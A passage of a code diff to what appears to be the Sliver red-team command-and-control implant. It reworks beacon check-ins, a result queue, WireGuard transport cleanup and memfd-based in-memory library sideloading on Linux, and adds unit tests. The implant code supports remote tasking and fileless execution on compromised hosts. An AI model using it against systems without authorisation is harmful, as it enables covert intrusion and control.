|
||||
}
|
||||
// The server deliberately does not return pending tasks on a result-only
|
||||
// check-in. Waiting for a response here blocks this loop until another
|
||||
// check-in replaces the transport connection.
|
||||
if len(completedResults) > 0 {
|
||||
return nil
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] recv task(s) ...")
|
||||
// {{end}}
|
||||
@@ -401,7 +425,7 @@ collecting:
|
||||
// Dispatch tasks to background - results sent to pendingResults as each completes
|
||||
// Extensions must be registered synchronously before other tasks can use them
|
||||
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
|
||||
pendingResults <- r
|
||||
pendingResults.add(r)
|
||||
}
|
||||
|
||||
// Dispatch other tasks individually - each sends its result when done
|
||||
@@ -414,7 +438,7 @@ collecting:
|
||||
}
|
||||
|
||||
// beaconDispatchTasks dispatches tasks to run in background, sending results as each completes
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliverpb.Envelope) {
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults *beaconResultQueue) {
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specHandlers := handlers.GetKillHandlers()
|
||||
|
||||
@@ -434,10 +458,10 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{else}}
|
||||
@@ -449,26 +473,26 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
Data: []byte{},
|
||||
}
|
||||
})
|
||||
} else if handler, ok := specHandlers[task.Type]; ok {
|
||||
go handler(task.Data, nil)
|
||||
} else {
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
UnknownMessageType: true,
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
//go:build windows && !sliver_lint
|
||||
|
||||
package runner
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func setBeaconTimingForTest(t *testing.T, interval time.Duration) {
|
||||
t.Helper()
|
||||
oldInterval := transports.GetInterval()
|
||||
oldJitter := transports.GetJitter()
|
||||
oldC2URI := transports.GetC2URI()
|
||||
transports.SetInterval(int64(interval))
|
||||
transports.SetJitter(1) // Int63n(1) always yields zero jitter.
|
||||
transports.SetC2URI("")
|
||||
t.Cleanup(func() {
|
||||
transports.SetInterval(oldInterval)
|
||||
transports.SetJitter(oldJitter)
|
||||
transports.SetC2URI(oldC2URI)
|
||||
})
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopSerializesSlowCheckins(t *testing.T) {
|
||||
const interval = 10 * time.Millisecond
|
||||
setBeaconTimingForTest(t, interval)
|
||||
|
||||
firstStarted := make(chan struct{})
|
||||
secondStarted := make(chan struct{})
|
||||
releaseFirst := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseFirst) }) }
|
||||
defer release()
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
var stateMu sync.Mutex
|
||||
active := 0
|
||||
maxActive := 0
|
||||
calls := 0
|
||||
checkin := func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
stateMu.Lock()
|
||||
active++
|
||||
calls++
|
||||
call := calls
|
||||
if maxActive < active {
|
||||
maxActive = active
|
||||
}
|
||||
stateMu.Unlock()
|
||||
defer func() {
|
||||
stateMu.Lock()
|
||||
active--
|
||||
stateMu.Unlock()
|
||||
}()
|
||||
|
||||
switch call {
|
||||
case 1:
|
||||
close(firstStarted)
|
||||
<-releaseFirst
|
||||
return nil
|
||||
case 2:
|
||||
close(secondStarted)
|
||||
return stopErr
|
||||
default:
|
||||
return errors.New("unexpected extra check-in")
|
||||
}
|
||||
}
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, checkin)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-firstStarted:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("first check-in did not start")
|
||||
}
|
||||
overlapped := false
|
||||
select {
|
||||
case <-secondStarted:
|
||||
overlapped = true
|
||||
case <-time.After(5 * interval):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-done:
|
||||
if !errors.Is(err, stopErr) {
|
||||
t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("check-in loop did not stop")
|
||||
}
|
||||
|
||||
stateMu.Lock()
|
||||
defer stateMu.Unlock()
|
||||
if overlapped {
|
||||
t.Error("second check-in overlapped the first")
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("check-in called %d times, want 2", calls)
|
||||
}
|
||||
if maxActive != 1 {
|
||||
t.Fatalf("maximum concurrent check-ins = %d, want 1", maxActive)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopShortCircuitsReconfiguredInterval(t *testing.T) {
|
||||
const originalInterval = 500 * time.Millisecond
|
||||
setBeaconTimingForTest(t, originalInterval)
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
calls := 0
|
||||
start := time.Now()
|
||||
err := beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
calls++
|
||||
if calls == 1 {
|
||||
transports.SetInterval(int64(time.Millisecond))
|
||||
return nil
|
||||
}
|
||||
return stopErr
|
||||
})
|
||||
if !errors.Is(err, stopErr) {
|
||||
t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
if elapsed := time.Since(start); originalInterval/2 <= elapsed {
|
||||
t.Fatalf("reconfigured interval did not short circuit sleep: %s", elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconResultQueuePrependPreservesOrder(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
first := &sliverpb.Envelope{ID: 1}
|
||||
second := &sliverpb.Envelope{ID: 2}
|
||||
third := &sliverpb.Envelope{ID: 3}
|
||||
queue.add(third)
|
||||
queue.prepend([]*sliverpb.Envelope{first, second})
|
||||
|
||||
actual := queue.drain()
|
||||
if len(actual) != 3 || actual[0] != first || actual[1] != second || actual[2] != third {
|
||||
t.Fatalf("unexpected result order: %+v", actual)
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("drain left %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainResultCheckinDoesNotWaitForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(&sliverpb.Envelope{ID: 41, Data: []byte("result")})
|
||||
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, errors.New("unexpected receive")
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recvCalled {
|
||||
t.Fatal("result-only check-in waited for a server task response")
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("successful check-in retained %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainEmptyCheckinWaitsForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, nil
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !recvCalled {
|
||||
t.Fatal("empty check-in did not wait for a server task response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainRequeuesResultsAfterSendFailure(t *testing.T) {
|
||||
wantErr := errors.New("send failed")
|
||||
result := &sliverpb.Envelope{ID: 73, Data: []byte("result")}
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(result)
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return wantErr },
|
||||
Recv: func() (*sliverpb.Envelope, error) { return nil, nil },
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
actual := queue.drain()
|
||||
if len(actual) != 1 || actual[0] != result {
|
||||
t.Fatalf("send failure did not preserve exact result: %+v", actual)
|
||||
}
|
||||
}
|
||||
@@ -29,6 +29,8 @@ import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -98,26 +100,21 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
memfdName := RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return "", err
|
||||
return "", fmt.Errorf("create memfd: %w", err)
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
} else {
|
||||
nrMemfdCreate = 319
|
||||
}
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = os.WriteFile(fdPath, data, 0755)
|
||||
|
||||
@@ -325,8 +325,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -339,8 +340,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
@@ -354,26 +356,13 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return wireguard.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
return sendWGBeaconEnvelope(muxSession, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
muxSession = nil
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
conn = nil
|
||||
}
|
||||
if dev != nil {
|
||||
_ = dev.Down()
|
||||
dev = nil
|
||||
}
|
||||
closeWGBeaconResources(muxSession, conn, dev)
|
||||
muxSession = nil
|
||||
conn = nil
|
||||
dev = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -383,6 +372,71 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// closeWGBeaconResources permanently closes each per-check-in resource. A
|
||||
// device.Down only stops the bind and peers; it leaves the netstack TUN and
|
||||
// WireGuard worker goroutines alive, so beacon reconnects must use Close.
|
||||
func closeWGBeaconResources(muxSession *yamux.Session, conn net.Conn, dev *device.Device) {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
}
|
||||
}
|
||||
|
||||
func closeWGBeaconDevice(closeDevice func()) {
|
||||
if closeDevice != nil {
|
||||
closeDevice()
|
||||
}
|
||||
}
|
||||
|
||||
const wgBeaconStreamReceiptTimeout = 5 * time.Second
|
||||
|
||||
func sendWGBeaconEnvelope(muxSession *yamux.Session, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[wg] nil beacon envelope")
|
||||
}
|
||||
return sendWGBeaconStream(muxSession, wgBeaconStreamReceiptTimeout, func(stream net.Conn) error {
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
})
|
||||
}
|
||||
|
||||
// sendWGBeaconStream waits for the peer's FIN after writing the request. A
|
||||
// successful yamux write only means the frame reached the local transport; the
|
||||
// remote FIN proves the server read the complete request before the beacon
|
||||
// tears down the WireGuard session.
|
||||
func sendWGBeaconStream(muxSession *yamux.Session, receiptTimeout time.Duration, write func(net.Conn) error) error {
|
||||
if muxSession == nil {
|
||||
return errors.New("[wg] send called with nil yamux session")
|
||||
}
|
||||
if receiptTimeout <= 0 {
|
||||
return errors.New("[wg] invalid beacon stream receipt timeout")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[wg] open returned nil stream")
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
|
||||
if err := write(stream); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.SetReadDeadline(time.Now().Add(receiptTimeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(io.Discard, stream)
|
||||
return err
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package transports
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
type recordingWGBeaconDevice struct {
|
||||
closeCalls int
|
||||
}
|
||||
|
||||
func (d *recordingWGBeaconDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func TestCloseWGBeaconDeviceUsesPermanentClose(t *testing.T) {
|
||||
dev := &recordingWGBeaconDevice{}
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("wireguard device Close called %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamWaitsForRemoteClose(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
serverRead := make(chan struct{})
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
if string(got) != string(marker) {
|
||||
serverErr <- errors.New("server received an unexpected payload")
|
||||
return
|
||||
}
|
||||
close(serverRead)
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
sendErr := make(chan error, 1)
|
||||
go func() {
|
||||
sendErr <- sendWGBeaconStream(client, time.Second, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-serverErr:
|
||||
t.Fatalf("server failed before reading the request: %v", err)
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server read the request: %v", err)
|
||||
case <-serverRead:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("server did not receive the request")
|
||||
}
|
||||
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server closed its stream: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
if err != nil {
|
||||
t.Fatalf("send failed after the server closed its stream: %v", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("send did not observe the server stream close")
|
||||
}
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamReceiptTimeout(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
err := sendWGBeaconStream(client, 50*time.Millisecond, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
if !errors.Is(err, yamux.ErrTimeout) {
|
||||
t.Fatalf("got receipt error %v, want %v", err, yamux.ErrTimeout)
|
||||
}
|
||||
release()
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newBeaconYamuxPair(t *testing.T) (*yamux.Session, *yamux.Session) {
|
||||
t.Helper()
|
||||
clientConn, serverConn := net.Pipe()
|
||||
config := yamux.DefaultConfig()
|
||||
config.EnableKeepAlive = false
|
||||
config.LogOutput = io.Discard
|
||||
server, err := yamux.Server(serverConn, config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
client, err := yamux.Client(clientConn, config)
|
||||
if err != nil {
|
||||
_ = server.Close()
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = client.Close()
|
||||
_ = server.Close()
|
||||
})
|
||||
return client, server
|
||||
}
|
||||
@@ -426,6 +426,17 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
var muxSession *yamux.Session
|
||||
closeTransport := func() {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Close()
|
||||
}
|
||||
}
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -440,15 +451,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[wg] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(done)
|
||||
if muxSession != nil {
|
||||
muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Down()
|
||||
}
|
||||
closeTransport()
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -488,8 +491,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -502,8 +504,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build (windows && !arm64) || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewDefaultBind()
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
// WinRingBind can stop exchanging handshakes after rapid userspace-device
|
||||
// recreation on Windows ARM64. Beacon callbacks recreate their device at each
|
||||
// interval, so use wireguard-go's portable socket bind on this target.
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewStdNetBind()
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
)
|
||||
|
||||
func TestWindowsARM64WGUDPBindUsesStandardSockets(t *testing.T) {
|
||||
if _, ok := newWGUDPBind().(*conn.StdNetBind); !ok {
|
||||
t.Fatal("Windows ARM64 WireGuard bind did not use standard sockets")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type ownershipTestDevice struct {
|
||||
upErr error
|
||||
configureErr error
|
||||
upCalls int
|
||||
closeCalls int
|
||||
configured string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Up() error {
|
||||
d.upCalls++
|
||||
return d.upErr
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) IpcSetOperation(config io.Reader) error {
|
||||
data, err := io.ReadAll(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.configured = string(data)
|
||||
return d.configureErr
|
||||
}
|
||||
|
||||
type ownershipTestDialer struct {
|
||||
dial func(network string, address string) (net.Conn, error)
|
||||
dialCalls int
|
||||
network string
|
||||
address string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDialer) Dial(network string, address string) (net.Conn, error) {
|
||||
d.dialCalls++
|
||||
d.network = network
|
||||
d.address = address
|
||||
return d.dial(network, address)
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDevice(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(privateKey + "|" + publicKey + "|100.64.0.42"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
}}
|
||||
dev := &ownershipTestDevice{}
|
||||
|
||||
if err := getSessKeysWithDevice(dev, dialer); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.upCalls != 1 || dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device calls: Up=%d Close=%d, want 1 each", dev.upCalls, dev.closeCalls)
|
||||
}
|
||||
if wgSessPrivKey != privateKey || wgSessPubKey != publicKey || tunAddress != "100.64.0.42" {
|
||||
t.Fatalf("unexpected session keys: private=%q public=%q address=%q", wgSessPrivKey, wgSessPubKey, tunAddress)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDeviceOnErrors(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
upErr := errors.New("up failed")
|
||||
dialErr := errors.New("dial failed")
|
||||
tests := []struct {
|
||||
name string
|
||||
dev *ownershipTestDevice
|
||||
dial func(string, string) (net.Conn, error)
|
||||
wantErr error
|
||||
wantDialed bool
|
||||
}{
|
||||
{
|
||||
name: "device up",
|
||||
dev: &ownershipTestDevice{upErr: upErr},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, errors.New("unexpected dial") },
|
||||
wantErr: upErr,
|
||||
},
|
||||
{
|
||||
name: "key exchange dial",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, dialErr },
|
||||
wantErr: dialErr,
|
||||
wantDialed: true,
|
||||
},
|
||||
{
|
||||
name: "key exchange response",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte("malformed"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
},
|
||||
wantDialed: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
dialer := &ownershipTestDialer{dial: test.dial}
|
||||
err := getSessKeysWithDevice(test.dev, dialer)
|
||||
if err == nil {
|
||||
t.Fatal("expected key exchange to fail")
|
||||
}
|
||||
if test.wantErr != nil && !errors.Is(err, test.wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, test.wantErr)
|
||||
}
|
||||
if test.dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device Close called %d times, want 1", test.dev.closeCalls)
|
||||
}
|
||||
if got := dialer.dialCalls > 0; got != test.wantDialed {
|
||||
t.Fatalf("dial called=%v, want %v", got, test.wantDialed)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDialDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
client, server := net.Pipe()
|
||||
defer func() { _ = server.Close() }()
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return client, nil }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer func() { _ = connection.Close() }()
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful dial closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("dial failed")
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return nil, wantErr }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if connection != nil || !errors.Is(err, wantErr) {
|
||||
